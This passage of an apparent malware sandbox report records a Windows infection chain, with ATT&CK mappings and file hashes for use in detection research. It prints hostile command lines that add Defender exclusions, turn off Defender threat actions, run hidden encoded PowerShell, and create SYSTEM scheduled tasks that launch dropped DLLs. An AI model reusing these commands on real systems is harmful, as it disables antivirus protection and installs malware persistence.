    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5604
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4544
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4652
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4904
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5956
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5344
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gkfstkhbl" /SC once /ST 03:47:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:5752
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gkfstkhbl"
  2⤵
  PID:5468
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gkfstkhbl"
  2⤵
  PID:1076
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "WKALCIrwIEiqhKBsn" /SC once /ST 00:21:39 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\hEBoiUE.exe\" y7 /qLipdidZj 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:5612
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "WKALCIrwIEiqhKBsn"
  2⤵
  PID:4444
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 680
  2⤵
  - Program crash
  PID:5956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5356

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1096
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:5740

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1428

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
1⤵
- Executes dropped EXE
PID:4704

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2148

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4900

C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\hEBoiUE.exe
C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\hEBoiUE.exe y7 /qLipdidZj 385118 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1292
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:4936
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:3116
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4508
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3856
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:3484
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5416
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:828
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:2096
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5552
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5184
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:1408
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:3556
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2264
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:5200
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:5808
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:4676
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5132
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"
  2⤵
  PID:1660
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:5204
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:5972
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:464
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2856
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:6056
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\ikKyVH.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:3160
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\LxjUalA.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5204
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "jiLwFdOzPPQiWLm"
  2⤵
  PID:5668
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"
  2⤵
  PID:2668
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\edUiHQA.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:6032
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\OUXrTLc.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4412
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\QNkKvGe.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5504
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\PjfbVFD.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:6044
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "QdCYtDviHOrgqJLgZ" /SC once /ST 03:16:15 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZmzskowerwXEonlG\fzDeYziF\wKyHJTJ.dll\",#1 /UcDgdidDd 385118" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:5272
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "QdCYtDviHOrgqJLgZ"
  2⤵
  PID:5416
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "WKALCIrwIEiqhKBsn"
  2⤵
  PID:4440
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1292 -s 2412
  2⤵
  - Program crash
  PID:2972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 1360 -ip 1360
1⤵
PID:6128

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\fzDeYziF\wKyHJTJ.dll",#1 /UcDgdidDd 385118
1⤵
PID:224
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\fzDeYziF\wKyHJTJ.dll",#1 /UcDgdidDd 385118
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  PID:2552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "QdCYtDviHOrgqJLgZ"
    3⤵
    PID:3880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5148 -ip 5148
1⤵
PID:5044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1292 -ip 1292
1⤵
PID:344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
2.5MB

MD5
73d0e57cf15540b08278adb8ebaccfcd

SHA1
b160b2847cbcf6dccad6f92a1c669c8002464f7e

SHA256
29eb72924b56cb14beb2cc38e2b475a2d4301b17003ca6287ef9a9289f0549b9

SHA512
5879256ff5bd8142237096f52e22229ef6c0076a20711bd5b0b76192d3619a36819731b3af97df7c9089494dd8b0a77d2c50701d71f15be41018de7e0b841014

Download Submit
C:\Users\Admin\1000004002\86f9223020.exe

Filesize
1.8MB

MD5
4335e0c5ef6fa4617f92b351fabe3984

SHA1
f042c9a01dee67f6823756e5ee2b921b6091be75

SHA256
4982ff9ecd135268c73e18c18409ae200392bfb01e122277e2e60cefe074ff1b

SHA512
3be3027b4378ac7b51ca366b102c8ce2fd32097647d14e9c1d4a5c7e260b78ffb883dbc98699720c7ef33e02fa7c1c9e6a0645e7dd058c8afe1ef27536b44494

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
11KB

MD5
0935431da00853d31e40f4f636f16519

SHA1
c9e1d1eb295550ca2dfde2d7e251d22448458bf4

SHA256
bb5c41170d7b9281bc52107ca90869b7d8e27f112bad3730a86920c0f6451e4b

SHA512
2094bd96b82c5f7f7b9de6472d871386cc05014e941c63fc1c6faaea8c5fdbaba530fd944674d110bd7fe33100b81fc8ba6ec58b86c2c6d5dd2d58bdcd4d1fd6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
35KB

MD5
10769f2e1d3f9d2d97df9f844ad5d29e

SHA1
26add51a0256e555aa512fdc45aa64bc40e79f2b

SHA256
e93b22b700a308ddd3c72c372baf09efdca721a65201da94a99f45c89113504a

SHA512
2eac680683347c8d9fc267341b70d5359cf4facb848a7b2abb95414c28570c0fd2c5260b2954f43e6c09349a9f6a1688d3450920b651c32d275af4f6cd568274

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
faa2dd409bb88491b6c57728dbf8a673

SHA1
6095f074030e7599cb1f9c251c62e2c0d1fb7418

SHA256
955d02ee998eae94048f3a1b33c8eedc73276ef0a179efb1cebc970d9af0df09

SHA512
0ab69299400998bc05fe7074b2c9b01162db9343deab22b502a26c47a054d2ca42918908fcc77a8cc5d275c17635508d546c3f65d857f37a7331ec9c32a766ce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

Filesize
151B

MD5
bd6b60b18aee6aaeb83b35c68fb48d88

SHA1
9b977a5fbf606d1104894e025e51ac28b56137c3

SHA256
b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

SHA512
3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
5715c656c28f84ff80401829cc12f495

SHA1
60b4b2684cfd00ebf23228b9e4e4b73de74ceeca

SHA256
626221fb644136427596708ed67c1a8effe353325688598de1155e8cbd9b6d4e

SHA512
a55b521ff3037b0c82c5dd9c7a4b17cb454c0637900152313b9de869d250b88a0a921c3be7d57c223dbf2f94e4e2a1b32421fdd6a78a34a0ca8f2a6e2a708fad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
92fb72484529e017815ec5d6d1f483ff

SHA1
3688b9a28bbab24586d8ce4d92946d82b72f80ba

SHA256
b85e2b69c9bd096cde77c3760170a59fb5c08b2e88c038af3b9719ab665e6e8a

SHA512
b42b47ada63f0a06cf8bfeab6e062d72d5ec07d1adb1a0fb8849dc3a40f2e62fca805e804447488c3ce1c752fdde6cc23571e9862ea08a0d34e916ae61033039

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
656B

MD5
184a117024f3789681894c67b36ce990

SHA1
c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e

SHA256
b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e

SHA512
354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

Filesize
830B

MD5
e6edb41c03bce3f822020878bde4e246

SHA1
03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9

SHA256
9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454

SHA512
2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

Filesize
2.1MB

MD5
208bd37e8ead92ed1b933239fb3c7079

SHA1
941191eed14fce000cfedbae9acfcb8761eb3492

SHA256
e1fd277ffc74d67554adce94366e6fa5ebc81f8c4999634bcc3396164ba38494

SHA512
a9c3c32573a16b7ca71a12af6e8c8e88502b66bae2465a82dd921fbc6e0c833b9b1c2d436963df189dd9d68568e1be9128826a2e59f1d5fe066b637d2d866715

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000005001\29d11f4bcc.exe

Filesize
2.3MB

MD5
182403d18626a2083484967551fc6bfd

SHA1
bf4dc51cdaeabb54b6759a7689c8d8017ac5496d

SHA256
6cb94f8029ec8380d86ff0e4879235d8fa2e46425029fbb12d2d92e11156ab27

SHA512
1ef20c3d23a0739644734c995ef28ee8d59bdd0964ca8a17a1695f2baa78272cfaa298339a76e5dc865827240918a70e62335e7cbdb818fa0d6b554b1b1a81eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

Filesize
304KB

MD5
84bf36993bdd61d216e83fe391fcc7fd

SHA1
e023212e847a54328aaea05fbe41eb4828855ce6

SHA256
8e6d8b5a004c8f21bee1bbe4213c6d78cf80e439b38f587e963e9bb4569aaffa

SHA512
bb3241949618ad2d39057e085e150f43b4d41d74efc4658d9c27f8c0ec80420191517a2c0b6b7e225c4e50e02cd031cdfd178e05b9a869847a3c27b210d09caf

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

Filesize
518KB

MD5
c4ffab152141150528716daa608d5b92

SHA1
a48d3aecc0e986b6c4369b9d4cfffb08b53aed89

SHA256
c28de1802bdbcf51c88cd1a4ac5c1decb0558fa213d83833cf5dbd990b9ae475

SHA512
a225e98f2bc27e2add9d34bd850e0e66a27bd1db757c979639a636a6efe412e638025c6e235c36188a24c9af2bde4b17d1dbaa0707dce11411402cd5de8024e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

Filesize
1.2MB

MD5
0b7e08a8268a6d413a322ff62d389bf9

SHA1
e04b849cc01779fe256744ad31562aca833a82c1

SHA256
d23a10b3ff0c565ea8ee7f54bcded0582e1e621ebad69d4523d6746f6d8e0e65

SHA512
3d226673e30bbbc27e0a5a6c64bf81eca475c697486b20141df7975bef97901d4865b88f41937f5e3dd00b437f24f91493f80cb69aa366b7a49cd17b26197ba4

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

Filesize
778KB

MD5
05b11e7b711b4aaa512029ffcb529b5a

SHA1
a8074cf8a13f21617632951e008cdfdace73bb83

SHA256
2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa

SHA512
dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

Filesize
373KB

MD5
749073f260169957a61c1b432f666857

SHA1
bd7868f93e93c73fedd39f1a2877c474f4f9c37d

SHA256
2c8153f6f636f81331153a773085374ee43e599a141acfd005ae9834070fea45

SHA512
1a2a48c9081cb52d2b0a8bf83b3f4f699ca1145c31f65c3392fb0a5d71c796615f6ecca7e32a527b4b32953ddaab77d988c7c077c6691404cef5e5ddae818013

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

Filesize
418KB

MD5
0099a99f5ffb3c3ae78af0084136fab3

SHA1
0205a065728a9ec1133e8a372b1e3864df776e8c

SHA256
919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226

SHA512
5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000036001\victor.exe

Filesize
312KB

MD5
01cff6fb725465d86284505028b42cfd

SHA1
f9182ea73fe1f80a41ba996ed9d00548c95abbcf

SHA256
3814ef98c5c16988df008a989038faf39943b32fb9687dc9347ac16df722e4cd

SHA512
ecf4e2e236dd55032c5e0ea4048557463519036279b586d53a1ef4ea50df049651385bbc11c55d515a73d6f568ea28080513035273de524466eae72b46461088

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe

Filesize
2.8MB

MD5
17687f01ca5191c5e9dd733b30248ea2

SHA1
9b63db46a9d58b945dd9b850236ed8d4d7d3567a

SHA256
37b3035464123d188316fc8e7574f2e31768df08aca8e9dc2adceb41d34f2428

SHA512
d366482d520fb250de54441daa9744129e692c24faeec2e7dce071370cfeeb00b50ef10fe47a3d788d3c4a17719d6133420ab99c6384798ea2017dca6260eb3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS9FC5.tmp\Install.exe

Filesize
6.3MB

MD5
7d1dd60c4b8fb4167645f7093801b6d9

SHA1
4ae1feb130e57f803ef00709419e6226b7c0e54d

SHA256
1c62508e00e567d8f753734590a0a303acad2877681173cb4eed2e1a8409f3e9

SHA512
7904bcaefe3d2f0e643f24a2e1eb6f0079e28d7df15f7be0fcd73ecc76680a9a677fe199d8a4d80d08144adbd4769d2a14eac2f933404aeeec05fe103429e872

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSA294.tmp\Install.exe

Filesize
